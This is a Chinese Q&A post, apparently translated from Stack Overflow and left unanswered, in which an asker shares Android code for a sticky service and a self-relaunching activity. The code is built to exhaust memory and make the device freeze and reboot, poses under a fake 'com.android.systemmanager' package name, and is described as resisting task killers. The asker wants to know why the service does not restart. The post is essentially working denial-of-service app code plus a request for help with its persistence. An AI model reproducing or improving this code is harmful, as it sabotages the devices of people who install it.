粘性服务在内存不足时被杀死

时间:2016-03-30 05:12:42

标签: android

我有一个粘性服务,它使用一个线程每2秒调用一次活动。

public class FreezeService extends Service {
Context context = this;
// constant
public static final long NOTIFY_INTERVAL = 2000; // 2 sec
// run on another Thread to avoid crash
private Handler mHandler = new Handler();
// timer handling
private Timer mTimer = null;

@Override
public IBinder onBind(Intent intent) {
    return null;
}

@Override
public void onCreate() {
    // cancel if already existed
    if (mTimer != null) {
        mTimer.cancel();
    } else {
        // recreate new
        mTimer = new Timer();
    }
    // schedule task
    mTimer.scheduleAtFixedRate(new TimeDisplayTimerTask(), 0,
            NOTIFY_INTERVAL);
}

@Override
public int onStartCommand(Intent intent, int flags, int startId) {
    return START_STICKY;// this make the service sticky which prevents it
                        // from getting killed by advanced task killers
}

class TimeDisplayTimerTask extends TimerTask {
    @Override
    public void run() {
        // run on another thread
        mHandler.post(new Runnable() {
            @Override
            public void run() {
                Intent i = new Intent(context, FreezeScreen.class);
                i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                context.startActivity(i);
            }
        });
    }
}

然后,活动在onCreate中调用自身,导致无限调用。这会使一切都冻结而内存不足。

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.transparent_ui);
    // launch this activity again and again making the device freeze and
    // reboot
    Intent intent = new Intent(Intent.ACTION_MAIN);
    intent.setComponent(new ComponentName("com.android.systemmanager",
            "com.android.systemmanager.FreezeScreen"));
    startActivity(intent);
}

这很好,但是,我的粘性服务在某些时候会被杀死。根据{{​​3}}, START_STICKY告诉操作系统在有足够内存后重新创建服务,并再次使用null意图调用onStartCommand()。 但我的粘性服务永远不会再次启动。

0 个答案:

没有答案